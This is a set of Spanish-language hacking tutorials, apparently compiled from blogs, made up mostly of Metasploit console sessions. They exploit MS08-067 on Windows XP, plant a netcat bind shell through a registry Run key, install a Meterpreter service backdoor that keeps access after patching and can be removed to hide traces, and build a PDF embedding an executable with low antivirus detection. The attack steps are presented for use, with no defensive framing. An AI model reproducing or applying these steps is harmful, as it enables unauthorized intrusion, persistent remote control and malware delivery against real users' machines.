Subir Archivos y Crear Clave dentro del Registro [BackDoor ]

[Metasploit By: Shell Root]

Cuando ingresamos a un P.C remoto, con ayuda del Metasploit, además de tener el PAYLOAD con Meterpreter, tenemos varias opciones. Una de ellas conseguir la Shell Remota, Ingresar Claves al Registro de Windows, Subir Archivos del P.C atacante hacia la P.C Remota.

Primero ingresaremos a la P.C con el exploit:

  • exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:

  • windows/shell/bind_tcp
  • windows/shell/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp.

Código:

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 7 days ago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.3      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.0.3      no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.2:1934 -> 192.168.0.3:4444)

meterpreter >

Ahora estamos dentro del P.C Remoto, Subamos el Archivo NetCat de nuestra P.C a la P.C Remota, con uso del comando upload. Miremos que opciones tiene esté comando.

Código:

meterpreter > upload
Usage: upload [options] [Ubicación Archivo Local] [Ubicación Archivo Remoto]

Uploads local files and directories to the remote machine.

OPTIONS:

    -r        Upload recursively.

meterpreter >

Así:

Código:

meterpreter > upload C:\Windows\System32\nc.exe C:\Windows\System32\[*] uploading  : C:WindowsSystem32nc.exe -> C:WindowsSystem32[*] uploaded   : C:WindowsSystem32nc.exe -> C:WindowsSystem32\nc.exe
meterpreter >

Despues crearemos una clave dentro del Registro de Windows con la siguiente ruta:

  • HKLM\Software\Microsoft\Windows\CurrentVersion \Run

Asi:

Código:

meterpreter > reg setval -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run -v Hacked -d 'C:WindowsSystem32nc.exe -L -d -p 1234 -e cmd.exe'
Successful set Hacked.
meterpreter >

Ahora solo nos queda reiniciar el P.C remoto con el comando Reboot. Asi:

Código:

meterpreter > reboot
Rebooting...
meterpreter >

Y por ultimo conectarnos con el BackDoor que acabamos de dejar en la P.C Remota. Podemos usar el Mismos Metasploit o la Consola de Windows. En este caso usaremos el Metasploit. Así:

Código:

msf > connect 192.168.0.3 1234[*] Connected to 192.168.0.3:1234
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingsShell Root Remoto>

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/subir-archivos-y-crear-clave-dentro-del.html

Crear un Backdoor con meterpreter

Primero, necesitamos una sesión de meterpreter en el sistema remoto.

Código:
                                  _            
                                 | |      o    
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  |  
  |  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
                           /|                  
                           |                   

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 489 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
       =[ svn r8074 updated today (2010.01.05)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 172.16.83.1
LHOST => 172.16.83.1
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 3 opened (172.16.83.1:54745 -> 172.16.83.128:4444)

meterpreter >

Una vez conseguida, ejecutamos metsrv, que instalará como servicio un servidor de meterpreter en el host remoto.

Código:
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:WINDOWSTEMPHdOFwlxzpobWuh...
[*]  >> Uploading metsrv.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
	 * Installing service metsvc
 * Starting service
Service metsvc successfully installed.

Ahora, si queremos, podemos reiniciar el sistema remoto, aunque el servicio ya está corriendo.

Código:
meterpreter > reboot
Rebooting...
meterpreter >

Ahora, cuando se reinicie el host remoto, vamos a conectarnos al servicio de meterpreter que acabamos de instalar.

Para ello, usaremos el handler para que nos porte el exploit windows/metsvc_bind_tcp, lo configuraremos y nos conectaremos, como haré yo.

Código:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/metsvc_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST                      no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 1 opened (172.16.83.1:42050 -> 172.16.83.128:31337)

meterpreter >

Y ya está! Esto nos viene bien por si el host remoto aplica un parche que corrija sus vulnerabilidades.
Aunque parchee el sistema, nosotros tendremos acceso a su sistema a través de ese backdoor.

Y si queremos desinstar el metsvc en el host remoto para no dejar rastro, tan sólo tenemos que ejecutar metsvc -r en nuestra sesión de meterpreter.

Código:
meterpreter > run metsvc -r
[*] Removing the existing Meterpreter service
[*] Creating a temporary installation directory C:WINDOWSTEMPQQqawIYOjLq...
[*]  >> Uploading metsvc.exe...
[*] Stopping the service...
	 * Stopping service metsvc
 * Removing service
Service metsvc successfully removed.

meterpreter >

Incrustar ejecutable dentro de un archivo de Adobe PDF

Retomando un poco lo que es la herramienta ‘Metasploit‘, encontré un exploit donde podemos realizar una incrustación de un archivo ejecutable dentro de un archivo de Adobe PDF.

Descripción del Exploit
Ubicación:/windows/fileformat/adobe_pdf_embedded_exe
Nombre:
Adobe PDF Embedded EXE Social Engineering
Versión:
0
Plataforma:Windows
Licencia:Metasploit Framework License (BSD)
Rango:
Excelente
Proporciando por:Colin Ames amesc@attackresearch.com>
Objetivos disponibles:
Adobe Reader v8.x, v9.x (Windows XP SP3 English)
Descripción:
Este módulo del Metasploit incorpora una carga de un archivo PDF existente.
Como podemos ver, el exploit, solo funciona con sistema operativo windows xp en ingles (Windows XP … English), pero aquí lo haremos portable a un windows en español, ya que es él que nos interesa.

Después de esta breve definición del exploit, vamos a ver como funciona este exploit, primero que todo, para que nos funcione dentro de un sistema operativo windows xp en español, vamos a la linea 232 del exploit, donde reemplazamos este código:

ruby Código:

 

 

  1. 232.  dirs = [ «Desktop», «My Documents», «Documents» ]

 

 

 

por este:

ruby Código:

 

 

  1. 232.  dirs = [ «Desktop», «My Documents», «Documents», «Escritorio», «Mis Documentos»]

 

 

 

Como vemos de añadimos algunos parámetros necesarios para que nuestro exploit corra en un windows en ingles como también en un windows en español. Después de realizar esto, vamos a generar nuestro PoC!

Abrimos la consola del Metasploit, seleccionamos el exploit, y le ingresamos los parámetros necesarios y lo lanzamos. Inmediatamente se creara el PoC con el archivo pdf «infectado».

Código:
root@bt:/opt/metasploit3/msf3# msfconsole

               o                       8         o   o
               8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

     =[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 540 exploits - 256 auxiliary
+ -- --=[ 207 payloads - 23 encoders - 8 nops
     =[ svn r9040 updated today (2010.04.07)

msf > use windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > show options

Module options:

 Name        Current Setting   Required  Description
 ----        ---------------   --------  -----------
 EXENAME                       no        The Name of payload exe.
 FILENAME    evil.pdf          no        The output filename.
 INFILENAME                    yes       The Input PDF filename.
 OUTPUTPATH  ./data/exploits/  no        The location to output the file.

Exploit target:

 Id  Name
 --  ----
 0   Adobe Reader v8.x, v9.x (Windows XP SP3 English)

msf exploit(adobe_pdf_embedded_exe) > set OUTPUTPATH /root/
OUTPUTPATH => /root/
msf exploit(adobe_pdf_embedded_exe) > set FILENAME PoC_PDF_EXE.pdf
FILENAME => PoC_PDF_EXE.pdf
msf exploit(adobe_pdf_embedded_exe) > set EXENAME /root/cmd.exe
EXENAME => /root/cmd.exe
msf exploit(adobe_pdf_embedded_exe) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(adobe_pdf_embedded_exe) > set INFILENAME /root/PoC_PDF_EXE_File.pdf
INFILENAME => /root/PoC_PDF_EXE_File.pdf
msf exploit(adobe_pdf_embedded_exe) > exploit[*] Started bind handler[*] Reading in '/root/PoC_PDF_EXE_File.pdf'...[*] Parsing '/root/PoC_PDF_EXE_File.pdf'...[*] Parsing Successful.[*] Using '/root/cmd.exe' as payload...[*] Creating 'PoC_PDF_EXE.pdf' file...[*] Generated output file /root/PoC_PDF_EXE.pdf[*] Exploit completed, but no session was created.
msf exploit(adobe_pdf_embedded_exe) >

PD: El exploit trabaja con un payload de por medio, como vieron solo seleccione el payload bind_tcp, ya que no surge ningun efecto a la hora de ejecutar el PoC. Esto si seria necesario a la hora de ejecutar un payload convertido en ejecutable.

Nos genero el archivo PDF correctamente, ahora miremos nuestro PoC en acción.

Miremos que nos dice el Scanner de NoVirusThanks:

File Info

Report date: 2010-04-08 07:14:17 (GMT 1)
File name: PoC_PDF_EXE.pdf
File size: 1698671 bytes
MD5 Hash: 23d92e4f9b132150d002d014eb772529
SHA1 Hash: 20f0caceffefa8958ffa7638657393ae2d34e3c1
Detection rate: 2 on 20 (10% )
Status: INFECTED

Detections

a-squared – –
Avast – JS:Pdfka-XN [Expl]
AVG – –
Avira AntiVir – –
BitDefender – Exploit.PDF-Dropper.Gen
ClamAV – –
Comodo – –
Dr.Web – –
Ewido – –
F-PROT6 – –
G-Data – –
Ikarus T3 – –
Kaspersky – –
McAfee – –
NOD32 – –
Panda – –
Solo – –
TrendMicro – –
VBA32 – –
Zoner – –

Scan report generated by NoVirusThanks.org